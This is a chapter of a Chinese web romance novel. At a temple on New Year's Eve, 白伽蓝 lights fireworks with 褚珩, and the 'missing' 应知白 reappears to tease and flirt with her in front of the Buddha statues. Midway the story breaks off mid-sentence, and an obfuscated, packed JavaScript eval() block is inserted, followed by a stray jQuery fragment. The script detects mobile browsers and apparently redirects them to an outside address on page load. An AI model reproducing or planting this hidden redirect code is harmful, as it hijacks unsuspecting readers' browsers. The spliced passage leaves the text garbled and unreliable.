39.三十九
作品:《是刺情,也是野火》 是,也不是。
褚珩接过水,指尖轻轻摩挲着杯壁,耳边钟声依旧悠远,已经敲响了一千零一下。
他微微垂眸,嘴角勾起一抹自嘲的笑,回答了白伽蓝先前的问题。
“其实也没什么特别的,”水润的声音低沉,带着一丝漫不经心,“就是突然觉得自己陷进去了。可我现在哪有什么资格跟人家谈情说爱?所以也就懒得耽误人家了。”
他说得轻描淡写,仿佛在谈论一件无关紧要的小事,可那双深邃的眼眸里却闪过一丝难以察觉的落寞。
白伽蓝静静听着,没有打断,也没有追问,在但依旧不妨碍她里默默吐槽。
她知道,像褚珩这样的人,能说出这样的话,已是不易。
他的洒脱背后,或许藏着连他自己都不愿承认的无奈。
褚珩不好意思的接下白伽蓝鄙视的眼神,“所以我这不是冒着被阿白痛扁的风险来给你赔罪了。”
白伽蓝不置可否,此刻的她只想静静等待明天的到来,然后——
然后呢?
没有然后。
她盯着手机屏幕,思绪却不由自主地飘回那晚在维港,应知白对她说的话。那些话语仿佛还在耳边回响,带着某种难以言喻的重量。
又一年了。
她到应家,又一年了。
一年又一年,白伽蓝是真的觉得累了。
白家落败之后,留给她的念想已经所剩无几。
那些曾经的辉煌与温暖,如今只剩下零星的记忆,像风中残烛,随时可能熄灭。
她忽然有些羡慕褚珩。
即使褚家如何,终究认下了这个儿子,给了他一个家,给了他最好的保护伞,最好的资源,任由他挥霍。
而她呢?她的身后,最后也不要有人。
白伽蓝轻轻闭上眼,指尖在手机屏幕上无意识地滑动,却连自嘲都笑都显得吃力。
等钟声敲到一千九百下的时候,白伽蓝才想起不远处的烟火,拉着褚珩到处找火机,褚珩无语,从兜里掏出一个来,“我这不是有。”
白伽蓝看着公子哥手上那个只适合装叉用的火机嫌弃,“这个不行。”
褚珩看着手里定制的火机都不行,那还有什么能行?
最后白伽蓝翻遍角落都没有找到火机,只能将就一下这个了。
不过她记得褚珩不是不抽烟么。
褚珩说,“是啊,所以是送你的新年礼物啊。”
白伽蓝愣在原地,看了眼手里的火机,精致,重匠机械,就连机身都刻了一个伽字。
白伽蓝对褚珩道了声谢。
可道完谢之后白伽蓝就尴尬了,因为自己可没有准备什么礼物。
褚珩耸了耸肩,“没事啊,你不是送了我一场烟花。”
褚珩好歹也是知道山中这座庙规矩多的要命,更何况白伽蓝还是在应知白眼皮子底下做的。
于是钟声敲到一千九百九下,夜空中骤然绽放出绚丽的烟火,五彩斑斓的光芒映照在庙宇的青瓦黄墙上,仿佛为这肃穆的夜色增添了一抹短暂的欢愉。然而,烟火虽美,却转瞬即逝,如同许多抓不住的过往。
正年,00:00。
白伽蓝先是收到董安宇的拜年短信,而后又是一条,“少爷丢了,找不到人了”的信息。
白伽蓝还以为是恶作剧,下一秒电话就打进来,董安宇着急的跟热锅上的蚂蚁,“二姐完蛋了完蛋了,少爷不见了。”
白伽蓝叹了一口气,“我等会就回去。”
董安宇急的跟什么似的,“是真的,刚刚我和他坐在藏书阁里,结果一眨眼就不见了!我和主持他们几个找遍了都没有找到,所以我想会不会在你那。”
白伽蓝这下信了,“所以你不是先问我,而是先找人,找不到才问,是这个意思吧。”
董安宇也意识到了自己逻辑的漏洞,但也顾不得那些,“不好意思二姐姐,那少爷在你那吗。”
“当然不在。”白伽蓝回绝的很笃定。
“那完了——”电话里董安宇的声音嚎啕传来。
白伽蓝没办法,只能先给应知白打个电话,她想不通大过年的乱跑什么,跑了还不给人吱声。
烟火放完,钟声也停了,褚珩听着零碎的信息明白了是应知白的事,于是看着白伽蓝拧着眉打着电话。
而不远处猝然响起一阵铃声——
白伽蓝和褚珩顺着声源看去,隔着几条长廊,青瓦红柱下赫然坐着一个人,正是“失踪”的应知白。
他懒散地倚在廊柱旁,手中把玩着手机,屏幕的光映在他那张漂亮得近乎妖异的脸上,显得格外刺眼。
白伽蓝深吸一口气,觉得新的一年恐怕不会好过。她挂断电话,迈步朝应知白走去。
可当她站到他面前,看着他那双似笑非笑的眼睛时,却突然不知该说什么好。
应知白这个人,向来很能折腾人。
褚珩也跟了过来,双手插在口袋里,站在白伽蓝身旁。以他对应知白多年的了解,他敢打赌,这位大少爷绝对生气了,而且生的还是他和白伽蓝的气。
只是不知道这位二小姐能不能悟出来了。
三人的手机频频震动,过年的祝福短信和人情笼络的消息接踵而至。白伽蓝率先关了铃声,随后给董安宇发去一条简短的消息,“人找到了。”
又补了一句,“不用担心。”
发完消息,她抬眸看向应知白,语气平静却带着一丝无奈,“你在这里做什么?”
应知白没有立刻回答,只是将手机随意丢在一旁,目光在她和褚珩之间扫过,嘴角勾起一抹意味深长的笑,“怎么,打扰到你们了?”
西院的长廊昏暗不明,只有零星的光透过窗棂洒在地上,映出斑驳的影子。
应知白坐在廊下,目光沉沉地盯着白伽蓝,见她从站到这里开始就一言不发,心中的无名火几乎烧到了顶点。
褚珩眼看房梁都要烧着了,立刻找了个借口开溜,“那什么,我爸他们到了,我先走了啊。” 说完转身就走,脚步快得仿佛身后有猛兽追赶。
白伽蓝从手机屏幕上抬起头,看着褚珩迅速消失的背影,心中暗叹,兄弟,你这卖队友的速度也太快了吧。
长廊里只剩下应知白和白伽蓝两个人,像两尊木头人一样,你看我,我看你,谁也没有先开口。
应知白不说话,是因为他向来只有别人主动开口的份,从没有他先开口的习惯。
而白伽蓝不说话,则是因为心虚——至于心虚什么,那可太多了。
所以只能默默等待审判。
廊风冷冽,吹得白伽蓝手脚冰凉。
时间久到她几乎怀疑应知白是不是睡着了,可仔细一看,他不仅没睡,还精神得很,目光如炬地盯着她,仿佛要将她看穿,就是苦了她冷的跟条狗一样。
应知白看了她几秒,忽然开口,“你很冷?”
院子里搭了暖棚,暖气十足,所以白伽蓝只是穿了件单薄的羊绒内衫,接到董安宇电话的时候也没想那么多,更是在看到应知白之后赶紧走了过来,现在吹了这么久的风,怎么可能不冷。
可白伽蓝依旧说着,“不冷。”
冷不冷对于现在她而言不是那么重要。
她让梁辰上山,又用褚珩骗他,按着应知白的性子,白伽蓝还真的猜不透他现在的想法。是又要罚她?还是留着日后在坑她一回。
应知白动手解开自己的外套,站起身披到白伽蓝身上,扣上扣子,遮的严严实实的,拦着肩膀就把人带进了一处大殿内。
殿内森严,满天神佛低眉垂目,彷佛将外界的风啸彻底隔绝。
白伽蓝抬头,映入眼帘的是“降服四魔”四个大字的牌匾。
笔力遒劲,气势磅礴。
应知白也环视了一圈殿内,目光最终落在白伽蓝身上。
她皱着眉,神情肃穆,眼底隐隐透出一丝挣扎,甚至还有几分不易察觉的害怕。
应知白饶有意思的问她,“你是伽蓝害怕什么?”
殿内只燃着几盏烛火,昏黄的光映在白伽蓝的脸上,她的双手合十,却因为紧张而交握得指节泛白。
她不知道自己在害怕什么,只是本能地感到恐惧。菩萨低眉,金刚怒目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200544|164396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,而她一个小小的伽蓝又算得了什么?
应知白看着她那副模样,心中莫名烦躁,一把抓过她的手,逼得她不得不将视线转向他。
他不喜欢白伽蓝用这样的眼神看着除他之外的任何人,哪怕是神佛也不行。
可白伽蓝依旧答不上来自己在害怕什么。
佛法讲六道轮回,她自知恶贯满盈,今生为人,来世怕是难逃地狱之苦。
应知白冷笑,像是看透一般,“下地狱算什么,难道做人就不苦了?”
是啊,对于应知白而言,地狱算什么。他拽着她的手,口无遮拦,眉宇间邪气横生,一副散漫邪气的模样,丝毫没有敬畏的意思。
听不到白伽蓝的回答,又把人拉进了一步,语气轻佻的告诉她,“要是害怕不如修修道?不过可惜今生怕是无望了,不过藏传佛好像是修来世的,你要是愿意我倒是可以帮帮你。”
白伽蓝皱着眉,应知白的话一向百无禁忌,她不是很愿意接。
但应知白是什么人,就算白伽蓝不接话他也能说的下去,“你不说话我就当你同意了。”
白伽蓝试图把人推开直接走掉。
可应知白紧紧的把人圈在怀中,两人的温度愈发的滚烫,连呼吸都开始交缠,他低头靠近她的耳畔,声音低沉而暧昧,“听闻藏传佛教有三宗,其中一宗为密宗,说的是男.女双修。”
白伽蓝一愣,随即脸上泛起红晕。
她知道应知白一向放荡形骸,可满殿神佛,这样话他也说的出口。
不由的踹了他一脚,“说这样的话你也不怕下地狱。”
应知白一脸无辜,“你家里给你去取名伽蓝,难道这点也不知道么。”
白伽蓝不由得往后撤,“这是我姑姑取得。”
这还是应知白第一次听到白伽蓝说起自己的往事。
又把人拽回怀里,眉目狭猝,满口打趣,“哦?你姑姑也喜欢佛法?”
白伽蓝不自然的看向别处,“嗯,不过我对于这个长辈印象寥寥,甚至连叫什么都忘了。”
“这样啊?”应知白惋惜的摇摇头,“那看来你只能和我双修了。”
白伽蓝感觉自己耳朵都要被气红了,解气似的往应知白胸口上一拍,“不怕了,有你这样的杀神坐镇,十八狱主都要让出王座。”
是啊,应知白如此惨无人道,杀气萦绕,怕是到了地狱也是手段残暴,什么神佛恶魔鬼也都让他杀个干净。
地狱?哪里还有什么地狱。
他就是地狱本身,是深渊里最锋利的那把刀,是炼狱中最炽烈的火焰。
这么想着,白伽蓝突然笑了一下。
应知白见她笑,也跟着扬起嘴角,"笑什么?"
“忽然觉得...”白伽蓝望着满殿佛像,金身塑像在烛光下泛着冷冽的光,“我早就在地狱里了。”
她的声音很轻,却像是落在应知白心尖上的一根针,刺得他瞳孔微微一缩。
他低头看她,目光灼灼,像是要将她整个人都看穿。
跟在应知白身边,即使修成了佛,怕也是要被他拉进无尽地狱,难入轮回,还谈什么来世。
白伽蓝心中暗叹,指尖无意识地摩挲着袖口的暗纹。
她所求的,不过是今生飘摇中的片刻安稳,哪怕这安稳是短暂的,是虚幻的,她也甘之如饴。
应知白却突然凑近她耳边戏谑,“所以某人说着要下地狱,原来是要和我下地狱啊。”
"你..."白伽蓝被这不要脸歪理惊得后退了半步。
"你这什么表情,多少人想陪本少爷还没这福分呢。"应知白得意地挑眉,金发在烛火下泛着暖光。
“是吗?”白伽蓝觉得自己糊涂了。
绕了一个晚上,原以为他整晚说地狱是试探,没想到竟是要拐着弯说这种浑话。白伽蓝气极反笑,"那白少爷的浪漫可真特别。"
殊途同归,永堕狱间。
凛风卷着香灰掠过佛前,供烛突然爆了个灯花。
应知白伸手替她拍掉肩头香灰,指尖若有似无擦过她颈侧,"所以啊,现在知道也不晚。”